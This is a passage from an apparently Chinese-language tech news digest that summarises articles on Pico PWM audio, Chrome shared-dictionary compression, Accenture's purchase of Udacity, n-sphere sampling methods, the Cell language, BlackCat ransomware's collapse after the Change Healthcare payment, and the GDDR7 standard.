    • 注意:此方法会占用主循环,可考虑使用MicroPython线程优化。

生成正弦波的示例

通过数学计算生成正弦波数据,并循环输出:

import math
wave = []
wave_samples = 40
for i in range(wave_samples):
    x = i / wave_samples * 3.14 * 2
    dc = int((1 + math.sin(x)) * 65000)
    wave.append(dc)
for _ in range(1000):
    for dc in wave:
        pwm.duty_u16(dc)

总结

树莓派Pico利用PWM占空比调制,在无需额外DAC的情况下实现了音频播放。该方法依赖快速PWM输出和精确的样本序列控制,适用于资源受限的嵌入式项目,但需注意采样率同步和计算资源占用问题。

26. Compression efficiency with shared dictionaries in Chrome (developer.chrome.com)

Chrome 团队致力于通过共享字典进一步提升网页压缩效率,这为 Brotli 和 ZStandard 算法提供了强大补充,尤其适用于频繁更新代码的网站,有时能实现高达 90% 以上的压缩率。

压缩技术的演进与字典的作用 网页压缩(如 gzip、Brotli、ZStandard)通过减少资源大小来加速加载。Brotli 和 ZStandard 可以利用外部压缩字典(包含特定模式)来提升压缩效果。定制字典,特别是基于旧版本资源的字典,可通过“差异压缩”大幅减少新版本资源的大小。例如,使用 Angular 1.7.9 作为字典压缩 1.8.3 版本,能将压缩率从约 70% 提升至近 98%。

共享字典的工作机制 为了在网页中安全使用字典压缩,Chrome 实现了共享字典方案。浏览器通过 Accept-Encoding 请求头(如 br-d, zstd-d)通知服务器其支持字典压缩,并附带本地字典的哈希值(Available-Dictionary 头)。

  • 静态资源:服务器通过为资源响应设置 Use-As-Dictionary 头(包含 match URL 模式)来指定其可用作未来版本资源的字典。当浏览器请求匹配的后续资源时,会携带可用的字典哈希,服务器即可用该字典进行压缩。
  • 动态资源:字典可通过页面中的 <link rel="dictionary"> 元素预先加载。字典资源本身需配置 Use-As-Dictionary 头以指定其适用的动态资源路径。之后流程与静态资源类似。

实际应用与尝试

  • 在构建时压缩静态资源时,许多打包工具(如 webpack、rollup、esbuild 的相关插件)支持通过 Zlib 选项使用字典。
  • 要体验此功能,可以在 chrome://flags 中启用实验性功能,或为生产网站注册 Origin Trial 获取令牌。

这项技术有望显著提升高频更新且拥有大量回访用户的网站加载性能。

27. Accenture to Acquire Udacity (techcrunch.com)

埃森哲收购Udacity以构建AI学习平台

埃森哲(Accenture)宣布将收购在线学习平台Udacity,旨在创建一个专注于人工智能(AI)技能培养的学习平台。公司同时宣布将投资10亿美元打造名为“LearnVantage”的技术学习平台。

埃森哲特别强调将提供AI相关培训,以帮助员工掌握云、数据和AI技能。埃森哲LearnVantage全球负责人Kishore Durg表示,生成式AI的兴起正在改变工作方式,企业迫切需要对员工进行培训和技能提升。

Udacity成立于2011年,累计融资近3亿美元,在2015年估值达到10亿美元。但据传闻,其今年早些时候与印度教育科技公司Upgrad的收购谈判未果,要价约为8000万美元。若该传闻属实,其估值已大幅缩水。最终Udacity被埃森哲收购,具体交易金额未披露。

Udacity方面表示,加入埃森哲后将能触达更多用户并帮助他们获得技能。该交易仍需通过监管审查和反垄断审查。

28. How to generate uniformly random points on n-spheres and in n-balls (extremelearning.com.au)

本文系统介绍了在 d 维球面和 d 维球内部进行均匀随机采样的二十余种方法,涵盖了从一维圆到任意高维空间的情况。

基本概念

  • d-球面:d 维空间中的单位球面,由所有到原点距离为 1 的点构成。
  • d-球:d 维空间中的单位球体,由所有到原点距离 ≤ 1 的点构成。
  • 本文讨论的是均匀随机采样,即每个点被选中的概率与其体积(或面积)成正比。

低维专用方法(d=1, 2, 3)

针对较低维度(如二维圆、圆盘、三维球面与球体),存在许多直观、高效的特定方法。

  • 在圆(1-球面)上采样

    • 极坐标法:生成随机角度 θ ∈ [0, 2π),对应坐标为 (cosθ, sinθ)。
    • 归一化高斯法:生成两个独立的标准正态随机数 (u, v),然后归一化为单位向量。此方法可推广至任意维度。
    • 拒绝采样法:在 [-1,1]×[-1,1] 正方形内随机选点,若满足 u²+v² ≤ 1,则进行变换得到圆上的点。
  • 在圆盘(2-球)内部采样

    • 拒绝采样法:在 [-1,1]×[-1,1] 正方形内随机选点,拒绝所有落在圆外的点。直观但高维时效率极低。
    • 极坐标法结合径向CDF:生成随机方向角和径向距离 r = √u (u ∈ [0,1)),因为面积与 r² 成正比。
    • 等面积映射法:一种能减少方差的映射方法(如 Shirley 1997),将均匀分布的正方形点映射到圆盘上,映射连续且保面积,通常优于简单的极坐标法。
  • 在三维球面上采样

    • 归一化高斯法:生成三个标准正态随机数 (u, v, w) 并归一化。
    • 拒绝采样法:基于两个随机变量,接受满足条件的点并进行变换。
  • 在三维球体内部采样

    • 拒绝采样法:类似二维,但在 [-1,1]³ 立方体内采样并拒绝球外点。
    • 组合方法:如使用归一化高斯法确定方向,再乘以一个随机半径 r = ³√u。
    • 指数分布法:使用 d 个标准正态随机数和一个指数分布 (λ=0.5) 的随机数。

通用高维方法(任意 d)

当维度 d 较高时,专用方法可能难以推广,通常使用以下通用方法:

  • 在 d-球面上采样
    • 归一化高斯法(Muller法):生成 d 个独立的标准正态随机变量组成向量,然后将其归一化为单位长度。这是最常用且高效的方法。
  • 在 d-球内部采样
    • 归一化高斯法 + 径向缩放:生成一个单位球面上的点(使用上述方法),然后乘以一个标量 r = u^(1/d) (u ∈ [0,1))。
    • 指数分布法:使用 d 个标准正态随机数和一个指数分布随机数进行组合与缩放。
    • 丢弃坐标法:一个优雅但非直观的方法。若在 (d+2)-球面上均匀采样一个点,然后丢弃其最后两个坐标,则剩余的前 d 个坐标构成的向量在 d-球内均匀分布。
    • 拒绝采样法:虽然概念简单(在[-1,1]ᵈ超立方体内采样并拒绝球外点),但由于“维数灾难”,其接受率随维度指数级下降(例如d=10时接受率<0.0025),因此高维时极其低效。

方法选择建议

  • 对于低维特定情况(d=2,3),使用专用方法可能更高效、易懂。
  • 对于一般高维情况归一化高斯法及其变体(如用于球体的径向缩放版本)因其高效性、通用性和数学优雅性而被广泛推荐。
  • 拒绝采样法虽然在低维时实现简单、速度快,但绝不应用于高维采样。
  • 方法的选择最终取决于对代码复杂性、计算效率、方差控制以及特定应用场景的权衡。
29. The Cell Programming Language (www.cell-lang.net)

Cell 是一种高级可嵌入编程语言,旨在解决常规语言难以实现的特定类型软件系统,提升开发抽象层次,并自动提供诸多功能,减少低层、易出错的繁琐编程。Cell 补充并集成主流开发语言(如 C++、Java、C#),实现的组件可自动转换为易用类并无缝集成到现有代码库。目前已支持主要的编程语言,未来会扩展更多语言支持。

主要应用领域:

  1. 持久化系统(Persistent Systems)
    Cell 针对具有复杂状态或数据模型且需持久化的软件系统,提供“关系自动机”(relational automata)这一新型软件构件。其主要特点包括:

    • 灵活的结构化类型系统
    • 可确定、可重复的执行流程
    • 使用关系存储数据
    • 声明式完整性约束(如键和外键)
    • 基于事务的强健错误处理机制
    • 正交持久化支持

    关系自动机适用于管理桌面、移动及嵌入式应用的持久数据,较嵌入式 SQL 数据库具备更优的数据模型和类型系统,速度更快、内存占用更低、存储控制更灵活、可编程性更强,且与主机语言集成无需对象/关系映射。

  2. 响应式系统(Reactive Systems)
    Cell 用“响应式自动机”(reactive automata)解决多异步数据源和事件源触发状态变更的复杂反应问题,如用户输入、传感器读数、远端数据、游戏内事件等。其主要优势包括:

    • 信号之间的声明式依赖关系建模
    • 自动处理信号变化及事件传播顺序,避免读取过时值和复杂的顺序问题
    • 支持因信号不变或条件持续成立时触发响应

    相较传统线程、观察者、回调和定时器方式,Cell 声明式模型能显著简化、提升系统健壮性和开发效率。

  3. 分布式系统(Distributed Systems)
    Cell 的长期目标是支持分布式应用组件多节点复制、并发更新下的自动持久化与同步。具体措施包括:

    • 编译器可为客户端和服务器不同语言生成代码
    • 自动处理网络通信、错误管理和数据持久化
    • 最大限度抽象,减少开发者对并发等无法完全隐藏问题的干预

    此能力依赖 Cell 特有的正交持久化,以及程序执行“回溯与重放”。

其他说明:

  • Cell 是开源软件,代码托管于 github。
  • 技术交流和公告平台包括 Google Group: cell-lang 和 Twitter: cell_lang。
  • 最新动向:2023年7月发布 Cell 到 C++ 编译器(Linux 0.7 版本);2020年5月发布替换 SQLite 的专题文章。

Cell 通过自动生成高度集成且高效的代码,以及创新的软件构件模型,辅助开发者解决持久化、响应式与分布式应用的核心难题。

30. BlackCat ransomware group implodes after apparent payment by Change Healthcare (krebsonsecurity.com)

BlackCat勒索软件组织因内部纠纷瓦解

美国医疗保健巨头Change Healthcare疑似向BlackCat勒索软件组织(又名“ALPHV”)支付了2200万美元赎金。此次网络攻击导致全美处方药服务中断数周,公司正努力恢复系统。

事件核心冲突

  • 赎金支付与背叛:据称Change Healthcare支付赎金以获取解密密钥并防止被盗数据泄露。然而,一名声称帮助BlackCat入侵该网络的附属黑客“Notchy”指控BlackCat独吞赎金,未支付其应得的佣金(通常为赎金的60%-90%)。Notchy称其仍掌握着约4TB的被盗敏感数据,涉及Medicare等主要保险和药房网络。
  • BlackCat的应对:面对指控,BlackCat未对附属进行补偿,反而宣布关闭整个项目。该组织声称已找到勒索软件源代码的买家,并在其暗网网站上贴出了美国联邦调查局(FBI)的查封通知。但安全研究人员指出,此通知很可能是复制了2023年12月执法行动后的旧版本,并非新的查封行动。

背景与此前执法行动

  • BlackCat是“勒索软件即服务”组织,依赖附属机构进行攻击并分享赎金。
  • 2023年12月底,该组织曾遭FBI及国际执法部门渗透,其网站被查封,解密工具被发布。此后BlackCat重组,并将附属佣金提高至90%,同时放宽了对医疗机构的攻击限制。

业界分析与观点

  • 安全专家认为BlackCat的关闭是一场针对附属的“退出诈骗”,旨在携赎金佣金潜逃。
  • 此次事件凸显了向犯罪分子支付赎金以删除数据的风险:附属仍掌握数据,可能单独进行勒索或泄露。正如Recorded Future研究员所言:“你不能信任罪犯,他们的承诺毫无价值。”

类似案例:LockBit组织信誉崩塌

  • 另一主要勒索软件组织LockBit在2024年2月遭FBI和英国国家犯罪调查局(NCA)打击后也试图重组,但已失去信誉。
  • LockBit曾威胁公布佐治亚州富尔顿县等机构的数据,但未兑现承诺,最终删除相关条目且未发布数据。据报道,LockBit在收到赎金后也并未删除数据,进一步证明此类勒索组织的不可信。

总结教训

  • 支付赎金以销毁被盗数据是一种注定失败的策略,勒索组织缺乏履约信用。
  • 该事件及LockBit案例表明,执法行动和内部纠纷正在严重削弱主要勒索软件组织的运营能力与可信度。
31. JEDEC publishes GDDR7 graphics memory standard (www.jedec.org)

JEDEC固态技术协会于2024年3月5日发布了JESD239 GDDR7 SGRAM图形内存标准。该标准旨在满足图形、游戏、计算、网络及人工智能应用对内存带宽日益增长的需求,可免费从JEDEC官网下载。

GDDR7的核心创新是采用脉冲幅度调制(PAM3)接口,这是首个应用PAM接口的JEDEC标准DRAM。PAM3使用三个电平(+1, 0, -1)在两个周期传输3比特数据,相比传统NRZ接口在同期传输2比特,显著提高了数据传输率和信号完整性,同时提升了能效。其带宽较GDDR6提升一倍,每设备可达192 GB/s。

主要技术特性包括:

  • PAM3接口:改善高频信号的信噪比和能效。
  • 训练机制优化:支持独立核心LFSR训练模式、眼图屏蔽和错误计数器,以提升训练精度、缩短训练时间。
  • 通道数量翻倍:独立通道从GDDR6的2个增至4个。
  • 容量扩展:支持16 Gbit至32 Gbit密度,并可通过双通道模式倍增系统容量。
  • 增强的RAS(可靠性、可用性、可维护性)特性:集成片上纠错码(ODECC)及实时报告、数据污染、错误检查与清洗、命令地址奇偶校验与命令阻塞等功能,以满足数据完整性需求。

JEDEC董事会主席Mian Quddus表示,GDDR7标志着高速内存设计的重大进步,PAM3信号技术为GDDR设备性能提升开辟了新路径。GDDR小组委员会主席Michael Litt强调,GDDR7不仅提升带宽,还通过RAS特性支持云游戏、计算及人工智能等新兴应用。

行业支持:

  • AMD:认为GDDR7将推动下一代设备性能提升,开启计算与图形新纪元。
  • Micron:指出GDDR7标准通过多级信号和RAS功能,满足了超越传统图形市场的带宽与可靠性需求。
  • NVIDIA:肯定PAM信号技术为GDDR7基础,有助于GPU性能最大化。
  • Samsung:称GDDR7 32Gbps速度将实现1.6倍性能提升,并兼具高可靠性与成本效益。
  • SK hynix:表示GDDR7标准在速度与能效方面达到新高,将推动内存生态系统扩展。